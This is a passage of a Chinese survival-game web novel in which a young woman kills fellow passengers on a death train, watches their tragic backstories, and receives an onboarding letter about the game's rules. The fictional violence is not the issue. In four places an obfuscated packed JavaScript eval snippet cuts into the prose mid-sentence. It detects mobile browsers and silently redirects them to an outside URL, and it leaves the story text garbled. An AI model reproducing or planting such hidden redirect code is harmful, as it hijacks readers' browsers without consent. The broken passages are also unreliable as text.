青于站在尸体旁,一直屏息等着他咽气,等到男人彻底没有动静的那一刻,她才如梦初醒,急促的呼吸伴随着心脏剧烈地跳动,她又变回了那个沉默寡言的女孩儿青于。 往后退了半步,她放松身体靠在冰冷的车厢连接门上,沾满鲜血的手有些发麻,她将杀猪刀换了一边拿着,静静回味着那种几乎将她整个人撑破的兴奋感。 血液从身上往下流的时候会带着一点微弱的痒意,那痒意在她的脸上、脖颈上、手上出现,留下一道鲜红的痕迹。 她没有去看任何人的表情,只是抬起了头,目光越过眼前的尸体,看向车厢前方某个虚无的点,那里的场景好像变成了一片小小的拼图,被定格了,时间在流动,但是那一片拼图始终没有变化。 她嘴唇微微开合,无声地开口:“第三个小时是,平息。” 随后,画面逐渐定格,眼前所有的场景都变成了小块小块的拼图,能看见上面明显的拼接线,鲜血和尸体被分成无数碎片印在拼图上,看起来也没那么吓人了。 随后,便响起了熟悉的电子音。 【平息:中年男人煽动旅客逃离,青于平息了这场风波。】 【第三个小时的事件已成功截取,生成时间坐标。】 【尊敬的旅客,您的“杀戮卷”已失效,按照隐藏规则,本轮您可以选择查看一位旅客的信息。请您注意,查看旅客信息的机会十分稀少,所以请您谨慎选择。】 在那个熟悉的界面上,青于点击了王美燕的头像。 【旅客信息:王美燕,43岁,高中语文教师,曾荣获“省级优秀教师”,前后经历了两段婚姻,与前夫育有一女。已装配天赋:优秀教师的品格。】 文字信息显示结束后,屏幕上出现了一段视频。 画面中,台灯昏黄的光线照亮了一方小书桌,那是一张儿童书桌,印着粉红色的卡通人物,桌子的高度和大小明显不适合成年人使用。王美燕姿态蜷缩地坐在椅子上,正在低头写着教案,笔尖划过纸张出现频繁的沙沙声,端正的字迹铺满了白色的纸张。 这时,她身后的门被打开了,一个身材高大的中年男人拎着装满蔬菜的塑料袋走了进来,他穿着老旧的夹克外套和洗得变形的牛仔裤,沉重的脚步声穿过狭窄的玄关走进了厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427616|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房,随后将塑料袋随手扔在料理台上,发出一声闷响。 王美燕笔尖顿了一下,纸面洇开一个小墨点,但她没有抬头也没有说话。 男人从厨房出来,目光不善地看向她蜷缩的姿态,眼里是浓浓的嫌弃和厌恶,他不耐烦地说:“给我拿五百,我去楼上打牌。”他解开外套扣子,露出里面起球松垮的黑色毛衣,男人结实的肌肉将薄薄的毛衣撑了起来,能看出他的壮实。 窗外雨滴开始敲打玻璃,这样阴的天,雾霾那么重,才是下午,屋内已经暗得不行了。昏黄的灯光照亮了王美燕低垂的眉眼,她缓缓合上教案本,将碳素笔盖上盖装进女儿淘汰下来的文具盒里。 雨声渐密,教案本边缘被她焦虑的指腹搓得卷边,她依旧低着头,轻声说:“这个月的生活费已经给你了,我不会再给你拿钱了。” 男人冷笑一声,迈开步子逐渐逼近,直到他带来的阴影吞没那片昏黄的光,完全笼罩在王美燕身上,像是一只趴在她身上吸血啃肉的怪物。他一把抓起教案本撕得粉碎,纸页如残雪纷飞,飘得到处都是,每一片都写满了字,是王美燕的心血。 王美燕仍低着头,右手紧紧捏着文具盒,指节发白,手背上青筋鼓起。文具盒只是一层薄薄的铁片,被她攥得变形,发出细微的声响。 她始终没有抬头,颤抖的呼吸声在昏暗的屋子里格外清晰,喑哑的嗓子再次说道:“你知道女儿去哪了吗?” “少跟我扯这些,给我拿钱,我要去打牌。” 王美燕冷不丁地笑了一声,继续问道:“是去打牌,还是去找楼上那个女人。王振云,你出轨的事情我已经知道了。” “王美燕,我出轨了能怎么样?”男人突然揪着她的头发将她拽起来,那张凶恶的脸凑近了,说出的话一点一点击溃王美燕的心理防线,他说:“你不能给我生儿子,我自然要去找别的女人给我生儿子……快给我拿钱,不然别怪我动手了。” 王美燕终于抬起头,目光直直望进他眼里,没有正面回答他的问题,反倒开始自说自话,“所以,你不知道女儿去哪了,是吗?” 男人不耐烦地吼道:“那是你女儿,又不是老子的女儿,赶紧给我钱,不然老子今天打死你。” “好,我给你拿钱,你先松手。” 男人闻言放开手,抖了抖衣襟刚想说话,就被一刀割开了喉咙,鲜血喷涌而出,他想要说话却无法开口,只能死死地瞪着王美燕,双手徒劳地抓着她的手腕。 王美燕挣脱他的手,在他腹部又捅了好几刀,鲜血溅在她身上,让她看起来像恶鬼一样。 最后,她跪在地上喘息着,泪流满面地靠在那张儿童书桌上,桌角还贴着女儿小时候最喜欢的贴纸,边缘处还有她用水彩笔画过的痕迹,王美燕伸手慢慢抚摸那些涂鸦,最后停在两个歪歪扭扭的字上。 上面写着:妈妈。 她的指尖轻轻摩挲着那两个字,在上面留下浓浓的血迹,这一刻,她渴望这些鲜红的血迹能够穿越漫长的时间,穿过生死,落在女儿苍白冰冷的掌心里。她闭上眼,泣不成声地说:“不怕啊不怕,妈妈在呢,有妈妈在呢。” 视频到此结束,屏幕陷入漆黑。 8. 第八章 青于有些疑惑,王美燕的丈夫被她自己杀死了,那上车后的第一个晚上,自己杀的那个男人又是谁?当时苏九吃得太快了,她连那具尸体的脸都没看见。但是当时王美燕自己说的,那是她丈夫。 而且,那个“天赋”是什么?优秀教师的品格?有什么用?为什么我没有? 难道他们都不是新上车的,只有我才是? 时间慢慢恢复流动,机械音响彻车厢。 “各位尊敬的乘客,第三个小时已经结束,当前车厢内死亡人数为五人。本轮死亡的一人中没有屠杀者和首轮死者,所以,暂不公布五名死者的身份,副本继续。” 时钟往后一格,第三个小时的标志变成了一条蛇绕成的盾牌。 还是一样的结果,中年男人的死亡没有带来任何改变。 青于抿唇,现在六个人中,普通旅客已经全部死亡了,只剩下屠杀者和初始死者没有出现,而且她需要快点动手结束这一切,因为那个中年男人会复活,就像光头他们那样。 他一旦复活了,就会开始针对自己。还有其余的人,他们亲眼看见了一场凶杀,所以很有可能暂时合力来攻击自己,毕竟他们现在都知道自己是活人了。而且这一轮她察觉了时间,但是只死亡了一个人,那个由她亲手杀死的中年男人,所以大家都会知道,自己的“杀戮卷”已经使用过了。 他们或许会猜测,自己是那个屠杀者。 青于站在车厢连接门处,她身上干干净净的,没有一丝血迹,所有的痕迹都随着时间的跨越而重置。那个中年男人就站在她旁边,照样没有任何痕迹,男人转过身盯着她,眼神阴冷,手中出现了一把刀,阴恻恻地说:“小姑娘,你喜欢杀人是吧。” 青于猛地向前蹿去,几步便跑到了王美燕身边,在所有人都没有反应过来的时候杀了她。 鲜血再次将她染红,青于拔出刀后继续往后跑,直到前方没有路。 那个男人踩着王美燕的血来到她面前,手中握着刀朝着她捅来。 青于侧身挤进狭小的座椅间隙,刀刃擦过她的手臂划开一道血口。 她灵活地撑着座椅靠背翻到前一排,在男人再次袭来时蹲下藏在座椅中间,男人的刀扎进了座椅靠背中,她趁机将杀猪刀狠狠往前一递,刺入男人的腹部,刀刃没入深处,她握着刀柄的手左右一绕,刀刃便在男人的腹中狠狠一绞,顿时疼得他连连惨叫,跪倒在地。 青于抽出刀,又在心脏处补了一刀,这才放松了坐在座椅上歇口气。鲜血顺着刀尖滴落,车厢内的血腥味熏得人头脑发晕。 她试探着启唇,说道:“第四个小时,反杀。” 话音一落,车厢里骤然陷入黑暗,和第一个小时一样,突如其来的黑暗。在黑暗中,什么声响都没有了,连鲜血从刀刃滑下砸在地面的声音都消失了。 【反杀:中年男人向杀死自己的凶手复仇,凶手完成反杀。】 【第四个小时的事件已成功截取,生成时间坐标。】 【尊敬的旅客,您的“杀戮卷”已失效,按照隐藏规则,本轮您可以选择查看一位旅客的信息。请您注意,查看旅客信息的机会十分稀少,所以请您谨慎选择。】 青于伸出手,点上了中年男人的头像。 【旅客信息:陈建设,男,48岁,离异,十年前因卷入一场严重交通事故含冤入狱,出狱后在亲戚的介绍下去一所乡镇卫生院当了驾驶员。已装配天赋:准时到达的救护车。】 文字信息显示结束后,屏幕上出现了一段视频。 视频画面剧烈晃动着,一辆救护车疾驰在被暴雨笼罩的山路上,车灯劈开厚重密集雨幕,轮胎碾过那条修了坏坏了修的乡村山路,道路上裂开的凹陷处盛满积水,飞速驶过后发出令人心惊的呲呲声。 道路不平,一侧是黑压压的山壁,另一侧是黑洞洞的悬崖,悬崖边的防护桩是水泥浇灌出来的,好几个拐弯处都有撞断后又修补的痕迹,这本就是一条险之又险的山路。 救护车在泥泞中剧烈颠簸,车顶上的红蓝闪灯疯狂闪烁,“呜哇呜哇”的声响被雨声死死压制。蛇缠拐杖的标志被雨水冲刷,被泥水浇湿,在脏污中,它依然是至高无上的“生命之星”。 陈建设坐在驾驶座上,双手紧紧握着方向盘,指节发白,浑身被汗浸湿。前方的道路根本看不清,车灯徒劳地劈在雨幕上,却照不亮远方的路面,雨刮器疯狂摆动,依旧难以扫清眼前倾泻而下的暴雨。 他狠狠咬着后槽牙,精神高度集中,救护车在满是稀泥的路上打滑,他凭着肌肉记忆强行修正方向,车轮在黄泥道上划出一道极度危险的弧线,悬崖近在咫尺。他死死踩住刹车踏板,车身堪堪停住。 这样的惊险一刻,这样的生死一瞬……陈建设缓了口气,心脏仍在狂跳,冷汗顺着鬓角滑落,他抹了把脸,握紧方向盘继续前行。 后车厢里,一名骑摩托车坠落山崖的年轻人躺在担架床上,他身上多处擦伤,肢体断裂后扭曲成诡异的角度,面色惨白,意识全无,口中不断喷溅的血液染红了被褥和地面,两名医护人员正有条不紊地处理着,车厢里弥漫着浓重的酒气。 他们的处境和陈建设完全相似,同样的惊险一刻,同样的生死一瞬,在精神高度集中的情况下,他们无暇注意路况,也迟钝地没有发现刚才那一刻的危急。 即便前方全是生死关隘,这辆车也无法停下来。 又走了十几分钟,车辆终于驶出了那有名的死亡弯道,前方雨势稍弱,又因为步入了另一个县的地盘,所以黄泥路变成了水泥路,陈建设松了口气,咬紧的牙关这才稍稍松了些。 可,一关结束还有一关,这残忍的暴雨下了整整一天,有的危机早已成形,变成了他们必经之路上的陷阱,等着他们自投罗网。 山路坍塌,泥石滚滚而下,巨石从山上轰隆隆地滚落下来,拦住了他们的去路,将本就不宽敞的小路截断,只剩下能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427617|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 供一人行走的窄缝儿。他猛踩刹车,车辆停下了。 他转身通过打开的隔窗和后面的医护人员说:“泥石流!前面的路被堵了,我们现在是返程回医院还是怎么办?” 年轻的医生抹了一把汗,摇了摇头,随后说道:“返程吧,没法了。” 实在没法了。 陈建设应了一声,打着方向盘准备倒车,可突然压下来的阴影让他慌了神,几乎是一瞬间的事情,巨石砸在车顶上,后车厢被砸扁,灯灭了,车里黑漆漆的一片。 泥石流一泻而下,将车辆围困,泥沙混合着石块堆到了车窗下一点点的位置,好在没有灌进来。两侧的车门都打不开了,现在是前行不得,后退也不得。 雨水和泥水顺着缝隙灌入车厢,冰冷又腥气,令人感到窒息。 陈建设一边从兜里掏出手机,手指颤抖地按着报警电话,一边焦急地大喊着,“你们没事吧?小陈!小金!你们能听见吗?” “……建国叔,你跟我妈说,我银行卡的密码是她的出生年月日……我存了几万块钱,让她拿去还贷款。我没出息,以后就不陪她了。” 电话一直拨不出去,信号差得要命。 陈建设嗓门越来越大,大声喊着:“小陈你别怕,没事的,一定会没事的。等着啊,等着叔来救你!” “叔,你自己注意安全……小金死了,他被砸碎了,我也要死了,我头被砸瘪了……要是、要是今晚没有这趟出诊就好了。” 小陈的话音落下后,后车厢再无任何声响。 陈建设浑身颤抖,滚烫的泪水滑下面颊落在唇边,是温热的、带着咸味的。他拼命用肩膀撞击着变形的车门,闷闷的撞击声在泥石流行走的声音中显得十分微弱,不只是声音,人也是。 手机屏幕的光映出他扭曲的脸,信号格依旧空着,他被困在这场灾难中,孤立无援。 车内的泥水漫过座椅,他的双脚被浸泡,寒意顺着脊背爬升,最终停在他的后脖颈上,如一只冰冷的手,牢牢将他钳制。 这一刻,比绝望先来到的是恨意。恨这高山陡峭,恨这暴雨无情,恨这道路狭窄,恨这天灾汹涌……最恨的,是那不知轻重的年轻人,若不是他雨夜醉酒骑车坠落悬崖,伤势太重,他们也不会冒着暴雨出诊将他送往上级医院。 恨他们为了这么一个莽撞的,不知轻重的人,要赔上三条人命!小陈和小金都是前两年才来到卫生院的年轻人,满怀理想地投入基层医疗,还没染上那些得过且过的习气,他们的人生还没走到一半,却在这里戛然而止。而他自己,前十年含冤入狱,在无尽的冤屈中熬了十年,好不容易熬出来,托了多少关系才得到一份工作,最后却被困在这铁皮盒子里等死。 命数啊。 难啊。 陈建设是被泥浆和暴雨困死在车里的,任凭他的恨意在泥水中灼烧,依旧没有给他烧出一条生路。 视频到此结束,屏幕陷入漆黑。 9. 第九章 紧接着,那机械的提示音响起。但是时间没有恢复流动,依旧是停止的状态。 “各位尊敬的乘客,第四个小时已经结束,当前车厢内死亡人数为五人。本轮死亡的两人中有屠杀者与死者,当前存活人数为,一人。副本结束,开始结算。” 都出现了! 这一轮新增的死者是王美燕,她死亡的同时两个特殊身份都出现了,所以她既是“死者”也是“屠杀者”。其实一开始就已经明了了,王美燕作为“屠杀者”进行屠杀,而她选定的死者就是自己,但是自己反杀成功,所以“屠杀者”和死者是同一人。 她早该知道的,要是一开始就选定王美燕进行验证,就不会拖那么久。但是她始终担心其他人根据王美燕身上的伤痕认出自己是“屠杀者”,所以才一直犹豫不决,将她留到了最后。 没关系,下次会更好的,下次再大胆一点,再聪明一点。 青于在黑暗中等了好一会儿,面前突然出现一块巴掌大的蓝色屏幕。屏幕幽幽的冷光映出她面无表情的脸,一行行数据快速浮现在屏幕上。 【副本表现评级:B,已达标。】 【本次副本的奖励为:通关币*5、“杀戮卷”光栅卡、纯净水300ml。】 【唯一存活者特别奖励:“衔尾蛇”徽章一枚、一朵好感玫瑰、A级道具盲盒一个】 【恭喜你通过筛选,成为正式玩家。你将获得随身仓库30格(只能放入终点站制造的物品)、定制天赋(根据玩家的性格和经历量身定制)、简易邮箱(能够随时随地收取/邮寄信件)、贵重财物保险箱(可放入五个种类,数量不限)】 【滋——玩家信息采集中。】 【编号19720,姓名青于,籍贯石洞子村。身份编码为:XWSⅡ0719720】 【天赋生成中——】 【天赋“全职女儿”已装备,详细内容请玩家自行探索。】 所有信息显示后,巴掌大的屏幕上中间出现了一个圆圆的返回键。 青于点了一下,就回到了屏幕首页。首页的界面上有五个圆圆的选项,分别是个人信息、仓库、邮箱、副本日志和终点站公告。 她依次点开,最先是个人信息。 这一刻她无比庆幸妈妈以前教自己识字的时候好好学了,后来妈妈离开后她也总是拿着那几册书反复翻看,所以现在她能看懂这些信息,不至于两眼一抹黑。 【姓名:青于|性别:女|年龄:18|籍贯:石洞子村|身份编码:XWSⅡ0719720】 【当前状态:存活|副本通关次数:1|通关币余额:5|信用评级:A】 【天赋:全职女儿(天赋说明:你与原生家庭羁绊极深。母亲的遗志是你的方向,母亲的坚韧是你的脊梁。完成母亲的任务,你将是她最完美的继承者)】 返回首页后,她指尖在“仓库”上点了一下,屏幕就变成了三十个大小均匀的方框,里面放着她的大部分物资。 “杀戮卷”光栅卡、纯净水(300ml)、“衔尾蛇”徽章*1、好感玫瑰*1、A级道具盲盒*1、压缩饼干*10,这就占了六个格子了。仓库右下角有个金色的小宝箱,标着“贵重财物保险箱”,点击后需虹膜验证才能开启,开启后是五个金光灿灿的小格子,目前空置着。 她点了一下那个空格子,上面跳出一个选项:存放物品。 再点一下,右侧出现了物品栏,仓库里的物品出现在选项里,有的还标注着“建议放入”。青于按照提示,将建议放入的物品都放入保险箱,分别是纯净水、徽章、A级道具盲盒,随后金格泛起微光,将这些物品锁定了。 邮箱里有一封刚收到的信件,寄信人叫:终点站管理处。 信件内容:编号19720,您已成功激活玩家身份,终点站欢迎您的加入。这封信是一则简单的新手引导,希望能给您带来帮助,让您更好地适应即将面临的全新挑战。 首先,您需要知道,所有玩家的最终目标都是积攒通关币,用来支付居住在终点站的费用。终点站没有饥饿、杀戮与背叛,只有永恒的安宁和幸福,在终点站,所有玩家都能过上正常人的生活。 但是,终点站的生活成本很高,所以必须不断进入副本赚取通关币,才能支付在终点站的居留权。 副本难度分为E至S级六个等级,每两个等级划分为一个难度,ED为低难度、BC为中难度、AS为高难度,部分副本无法明确分级,所以会以难度显示,此类副本未知信息过多,请玩家谨慎选择。通关副本后系统会根据玩家的表现结算通关币,这是通关币的唯一合法来源。 特别说明,筛选副本无具体等级,仅用于测试玩家基础属性与适配天赋,所以并无参考价值。只有列车上新人玩家过半才会开启筛选副本,目的是剔除一半不适合的玩家,若新人玩家数量未达到一半,则所有新人自动获得“正式玩家”的身份。 不同的列车途经的副本不同,但一定会囊括低、中、高三个难度,请玩家根据自身能力选择副本。筛选副本结束后,列车步入正轨,每日刷新物资和副本信息,这是唯一可靠的物资与信息获取途径,请务必关注每日刷新内容,及时补充物资。 因部分副本的死亡存在真实性,为了避免玩家死亡后车费无法收取,所以每次下车时都会结清前期费用,未结清者将无法进入下一副本。列车长有权对违规玩家实施禁闭或遣返处理,请严格遵守列车条例。 副本内死亡分为“真实死亡”和“虚假死亡”,真实死亡意味着玩家彻底消失,无法复活;虚假死亡则会在一定时间后于安全点重生,或在副本结束后支付巨额费用重生。 两种死亡都会导致仓库物资掉落,只有存入保险箱的物品不会掉落。 所有副本都为真实世界的回溯,不存在虚拟空间或模拟场景,所以时间与物理法则与现实世界同步,但副本被系统截取后已经开始发生改变,所以会出现各种各样的变化。 每一次进入副本都是未知的,即便是同一个副本,在不同时间段进去也是不一样的,因为副本里的时间永远在流动,改变也会越来越大,因此,每次选择都必须慎之又慎,千万不要掉以轻心。 完成副本后前往候车亭等待,列车会前往候车亭接引幸存者上车,切记不可擅自离开候车亭,那是副本中唯一的安全点。列车到站后仅停留十分钟,超时未登车者视为自动放弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427618|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本轮行程,滞留副本的后果极为可怕,请玩家不要轻易尝试。 若不幸滞留副本,请首先保证自己的生命安全,同时在邮箱中给终点站管理处发送求救信号,终点站会积极提供救援。救援周期视副本难度而定,低难度副本48小时内响应,中高难度则需72小时以上。终点站将根据信号定位派遣特勤列车或远程引导脱困,但救援成功需支付通关币作为酬劳。 每个候车亭都将受到终点站管理处的监视,所以在候车期间,玩家严禁交易、斗殴、传播恐慌情绪,违者将被系统记录并影响信用等级,信用等级过低的玩家会被终点站驱逐。 每位玩家都有属于自己的专属终端,记录着副本信息、物资存量与信用等级。当终点站有重要通知时,终端会自动弹出,提醒玩家查阅公告。 终端内装有双子大厦最新型的安全预警系统,当玩家信用等级异常或存在未结费用时会自动提示,每个提示后会伴有倒计时,请务必在倒计时结束前消除警报。 每次死亡后,终端会降低10%的耐久度,耐久度归零时终端将自动销毁,玩家身份同步注销,直接造成不可逆的死亡。 耐久度的下降会导致终端功能受限,请及时前往终点站进行维修。重要提醒,终端耐久度一旦低于50%,终点站将无法获取玩家全部信息,此时玩家将进入失联状态,定位信号消失,救援响应系统无法正常使用。 请不要试图屏蔽终端进行一些违法行为,终端支持着您的生命体征,连续“隐身”72小时及多次短暂“隐身”累积100小时,您都会被系统判定为死亡。若副本存在屏蔽终端的情况,请在回到终点站后前往管理处消除“隐身”记录。 请您放心,只有少数高级副本会屏蔽终端信号,且屏蔽时间不超过10小时,终端采用了双子大厦的尖端技术,已经能够抵抗副本的屏蔽,但需要十小时破解定位。若终端遭遇异常屏蔽,请立即记录屏蔽起始时间,并在脱离后第一时间向管理处提交异常日志。 玩家在副本内须严格遵守副本规则,不要试图寻找规则漏洞,请您明确一个信息,系统从不允许任何例外发生。规则的存在是为了平衡玩家与副本之间的秩序,任何试图挑战规则的行为都会被系统立即识别并处理。 您寻找规则漏洞的行为,或许会造成副本的崩塌,从而欠下巨额债务。 请谨记,侥幸心理是死亡的开端,唯有严格遵循规则,保持理智判断,才能在危机重重的副本中存活下去。 以上,是本次指引的全部内容,若您还有疑问,可以到管理处进行咨询,我们将竭诚为您服务。祝您在本次旅程中平安抵达终点站,我们期待您的来访。 关闭邮箱,打开副本日志,里面记录着已经完成的所有副本信息: “衔尾蛇”列车筛选副本——屠杀者(低级),副本表现评级B,副本掉落为…… 最后一个选项是终点站公告,点开后里面空空如也,并没有刷新任何信息。 青于搓了搓手指,指尖传来微凉的触感,这时,屏幕上忽然闪烁起一串血红色的倒计时。 00:05:00 【倒计时结束后时间流动恢复,请玩家做好准备。】 10. 平江三中(1) 00:00:10 00:00:09 00:00:08 00:00:07 青于屏住呼吸,眼睛紧紧盯着那串跳动的数字,手里紧紧握着杀猪刀。她杀了两个人,陈建设和王美燕,一旦时间恢复流动她就会面对他们的反击。 00:00:06 两个人,自己有胜算吗?她的指节因为太过用力而发白,刀柄被汗水浸湿,双脚有些发麻。不安在蔓延,手有些发颤,好像有点用不上力。 00:00:05 冷汗顺着她的脊背滑下,凉飕飕,黏糊糊,很不舒服。心脏剧烈跳动着,好像不停地撞击着肋骨,那震耳欲聋的心跳声就通过骨头一路传到了耳朵里,在耳膜上拼命敲击,如密集的鼓点,一声接着一声,一声撵着一声,从规律到无序,乱糟糟地吵得人心烦意乱。 00:00:04 她咬紧牙关,活动着发麻的手脚,试图让心跳与呼吸声同步,缓解未知带来的恐惧。杀猪刀泛着冷光,映出她紧绷的面容。 00:00:03 她闭上眼,深深吸入一口气,又缓慢地将其呼出,这样不断重复着,呼吸与心跳便慢慢平复,逐渐变得规律,当眼睛再次睁开时,里面的恐惧便悉数褪去,她是平静的、冷漠的、麻木的、没有选择的。 00:00:02 她将手臂抬起,刀锋微微倾斜,摆出一个适合迎击的姿势,眼神坚毅,无所畏惧。 00:00:01 时间恢复流动的那一瞬间,世界仿佛被按下了播放键。 还是一模一样的车厢,地上的血迹已经全部消失,就连她身上都干干净净的,就好像之前经历的一切都是幻觉一样。好奇怪,连她身上原本的血迹都没有了,那些她从石洞子村带来的血迹,属于亲人的血迹,全部消失了。 列车轻微晃动,车内十分安静,车厢最前方多了一个很大的电子显示屏,上面只有一条信息。 【下一站:平江三中(A级),将在一日后到达,请需要下车的乘客做好准备】 副本信息刷新,车厢里响起了窃窃私语。 “第一个就是A级,不愧是‘衔尾蛇’。”朱芸说道。 黄毛应了一声,小声说:“上一轮三个S级副本都是‘衔尾蛇’刷出来的,所以这一轮上车的人多了不少,连二号车都启用了,以前可是一号车都坐不满的。” 朱芸:“啧,烦死了,连登车票都贵了一个币,‘衔尾蛇’不愧是见钱眼开的代名词。” 黄毛:“不止‘衔尾蛇’提价,‘鸢尾花’和‘风滚草’都提价了,我听说好像和管理处的新规有关,这三趟列车都没有和管理处签合约,所以抽成变高了。” 朱芸:“我记得……‘鸢尾花’好像是双子大厦那边的势力。” 黄毛点了点头,凑近她说道:“双子大厦和管理处有矛盾,所以终点站的物价开始变动,双子大厦那边缩减物资供给,导致大部分物资紧缺,营养液已经从100涨到300了。” 他俩一直嘀咕着,声音压得极低,身体也挨得很近,看起来关系很好。不像是副本里那么剑拔弩张的模样,让青于有些摸不着头脑。 王美燕在座位上睡觉,看起来对刷新的副本信息毫不在意;陈建设正在低头看书,书页翻动的声音细微而规律,他的指尖在纸上缓慢移动,动作很是老派,指着一行读一行的。 光头正在擦拭一把短斧,动作缓慢而专注,指腹在刃口上来回摩挲,一遍遍地确认着刀刃的锋利程度。 没人在意她,没人看向她。有的人在闭目养神,有的人在整理装备,此刻,即将到达的副本是重中之重,而她,一个刚刚通过筛选副本的新人,显然没有被人放在眼里。 青于抿唇,放松身体坐在座位上,目光低垂。 她也要进副本,就去那个平江三中。既然新手引导说所有人的目的都是进副本,那她也要去,赚很多的通关币,去往终点站,然后带妈妈去找海。 新手引导说筛选副本是最初级的副本所以无法成为参考,那就说明她对副本是一无所知的,获取信息的唯一途径就是列车上给出的内容,除了名字和等级一无所知。 她是一无所知的,也是毫无经验的,所以没必要选择副本,直接往前冲就是了。是死是活总会有个结果,而且这个副本并没有说会造成真实死亡,所以她就算不幸死亡了,也能够在副本结束之后重生。 第二天正午,列车缓缓停稳,苏十推着补给车出现。 每次进入副本的时间都是正午,正好是补给车刷新的时间,所以乘务员会积极推销,争取在这个关键的时间点大挣一笔,将所有乘客的荷包掏空。 苏十笑得温和,轻声细语地说:“各位乘客中午好,欢迎大家乘坐‘衔尾蛇’号列车,我是本次的乘务员苏十。今日的补给时间到了,请需要补充物资的乘客尽快购买,我只在本节车厢停留一个小时。下面,我将播报本次补给车刷新的物品——” “很遗憾,本次没有刷新出重点物资。” “本次刷新后出现的物品有食物类。分别是:巧克力(20g)、速冻水饺、挂面、苹果、香蕉、食盐(200g)、花生牛奶一件(三十盒)。这次刷新的食物都很不错,有能够快速补充能量的巧克力,有物美价廉的挂面,还有罕见的水果和食盐,最重要的是有牛奶,要知道,水源可是稀缺资源。” “本次刷新后出现的物品有电器类。分别是:便携式电煮锅、太阳能台灯、户外手电筒、便携式烘干机、挂式熨烫机、收音机。” “本次刷新后出现的物品有医疗器械类。分别是:水银体温计、电子体温计、水银血压仪、心电监护仪、麻醉机、酶标仪、超声仪、核磁共振。本次刷新出大量珍贵的医疗器械,要是资金充裕的乘客可以大胆购买,前往终点站后可以向诊所和医院销售,一定能卖个好价钱。” “特别提示,一枚通关币可兑换金钱一万数值,如果您有需要,我们很乐意帮您兑换,同样的,我们需要收取百分之二十的兑换费用。” 他说完后就站在原地等待,而这次,乘客们陆续起身,围拢过去挑选所需物品。 青于也顺势跟了上去,捏着一沓钱准备大肆采购。在车上买的物资能够存进仓库里,直接带进副本使用,不必担心负重问题,所以她可以多买一点必需品。 在其他人都买好离开后,青于才缓缓上前,她刚才看了一下,几乎所有人都买了巧克力、水果、食盐、花生牛奶,既然他们都买了,那自己也买,除此之外,她还要买挂面、电煮锅、手电筒。 她依次查看价格,巧克力一条十块钱,苹果和香蕉都是单个的,三块钱一个,食盐三块钱一包,花生牛奶一件是二十块钱,挂面五块钱,便携式电煮锅八十块,户外手电筒一百五十块。 除了电煮锅和手电筒,所有食物她都买了十份,应该够吃很长时间了,光是十把挂面就够她吃好几个月。省一省,她的三万多可以用很久很久。 一共是六百七十元,她将钱递过去,苏十接过钱,还跟她说道:“你带上车的东西可以卖给我们,进入副本后,带着这些东西会不方便行动。” 青于握着杀猪刀,小声说:“等你们下次刷出武器了我再换。” 至于她背上的小书包,还有书包里的玉米,她没有提起,苏十也就没有继续问。 “那个,你知道他们为什么不找我报仇吗?我在副本里杀了他们,但是他们没有反应。” 苏十有些错愕,没想到她会来向自己询问这种事。 但他性格温和,是蛇族中罕见的好脾气,所以并未觉得冒犯,反而耐心解释道:“因为副本里的他们是由系统控制的NPC,行为由程序设定,只是为了给新人构建一个筛选副本而存在,所有的行为都带着引导意义。你杀的是副本里的复制单位,并不会给他们造成任何实质性的伤害,所以他们并不会追责,这是筛选副本的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427619|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惯例。” “谢谢你,你能把这个带给苏九吗?” 青于从仓库里取出那朵好感玫瑰,鲜艳欲滴的玫瑰花瓣上还带着晶莹的露水,花香弥漫在空气里,是玫瑰特有的味道。 苏十微微一怔,眼中闪过一抹复杂的神色,“这是加好感的道具,你留着到副本里使用会更有用,所有的道具都很珍贵,得留在最关键的时候使用。”他低声说着,却仍将玫瑰收下,指尖轻轻拂过花瓣,声音微沉:“我会交给她的。” “谢谢。”青于说完就离开了。 她知道那朵玫瑰很珍贵,但是她想给苏九,就为了她鼻尖那颗红色的小痣,那样熟悉,那样心悸。 